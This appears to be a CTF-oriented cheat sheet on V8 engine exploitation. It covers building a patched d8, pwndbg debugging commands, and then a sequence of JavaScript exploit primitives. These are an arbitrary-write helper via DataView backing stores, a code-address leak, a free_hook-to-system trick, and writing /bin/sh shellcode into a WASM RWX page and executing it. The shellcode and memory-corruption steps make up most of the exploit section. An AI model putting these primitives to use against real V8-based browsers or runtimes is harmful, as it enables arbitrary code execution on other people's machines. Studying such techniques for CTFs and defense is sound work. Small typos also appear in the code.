Install depot_tools

1
2
3
4
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
vim /etc/profile
Add `export PATH=$PATH:"/path/to/depot_tools"` to `.profile`
cd /depot_tools && ./gclient

Install ninja

1
2
3
4
5
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
vim /etc/profile
Add `export PATH=$PATH:"/path/to/ninja"` to `.profile`
source /etc/profile

Download the source code of V8

1
fetch v8

Patch and compile the debug version

1
2
3
4
5
6
7
8
9
10
11
12
cd v8
# git checkout 8.6.358
git reset --hard +hash
gclient sync

#apply patch
git apply < "path/to/tctf.diff"

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#the result is in /out.gn/x64.debug/d8
#./tools/dev/gm.py x64.debug

Patch and compile the release version

1
2
3
4
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
#the result is in /out.gn/x64.release/d8
# ./tools/dev/gm.py x64.release

Build with natives_blob.bin and snapshot_blob.bin

Add to args.gn

1
2
3
v8_static_library = true
v8_use_snapshot = true
v8_use_external_startup_data = true

Add gdb support

Add to ~/.gdbinit

1
2
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

Gdb init

1
2
3
gdb ./d8
pwndbg> set args --allow-natives-syntax ./exp.js
pwndbg> r

Command job

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x2a46080c2b95
0x2a46080c2b95: [JSArray]
- map: 0x2a4608201869 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2a46081c8515 <JSArray[0]>
- elements: 0x2a46081ce7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x2a46080406e9 <FixedArray[0]> {
0x2a4608042629: [String] in ReadOnlySpace: #length: 0x2a4608140165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2a46081ce7bd <FixedArray[3]> {
0: 1
1: 2
2: 3
}

Command telescope

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x2a46080c2b95
00:0000│ 0x2a46080c2b95 ◂— 0xbd080406e9082018
01:0008│ 0x2a46080c2b9d ◂— 0x3d00000006081ce7
02:0010│ 0x2a46080c2ba5 ◂— 0x9a0000000608040a
03:0018│ 0x2a46080c2bad ◂— 0x9a3ff19999999999
04:0020│ 0x2a46080c2bb5 ◂— 0x6640019999999999
05:0028│ 0x2a46080c2bbd ◂— 0x9400a6666666666 ('fffff\n@\t')
06:0030│ 0x2a46080c2bc5 ◂— 0xa5080406e9082019
07:0038│ 0x2a46080c2bcd ◂— 0xb100000006080c2b

Debug

1
2
%DebugPrint(a);
%SystemBreak();

Arbitrary write

1
2
3
4
5
6
7
8
9
10
11
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
//%SystemBreak();
console.log("[+]write to : " + hex(addr) + ": " + hex(data));
}

Get the address in d8

Array obj -> map -> constructor -> code -> d8 addr

1
2
3
4
5
6
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);ß
console.log("[*] find leak_d8_addr: 0x" + hex(leak_d8_addr));
%SystemBreak();

Edti free_hook to system and getshell

1
2
3
4
5
6
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); ///bin/sh\x00
}

Use WASM to execute shellcode

Init

1
2
3
4
5
6
7
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: " + hex(f_addr));
%SystemBreak();

Looking for rwx_page_addr

Function–>shared_info–>WasmExportedFunctionData–>instance->instance+0x88

Without compression pointer

1
2
3
4
5
6
7
//function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

With compression pointer

1
2
3
4
5
6
7
//function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr
var shared_info_addr = leak32_l(f_addr + 0x18 / 2) - 1;
var wasm_exported_func_data_addr = leak32_l(shared_info_addr + 0x8 / 2) - 0x1;
var wasm_instance_addr = leak32_l(wasm_exported_func_data_addr + 0x10 / 2) - 0x1;
var rwx_page_addr = leak64(wasm_instance_addr + 0x68);

console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

Write shellcode and execute it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

f();

Use natives syntax

1
2
3
4
--trace-turbo
--trace-opt
--trace-deopt
--trace-turbo-reduction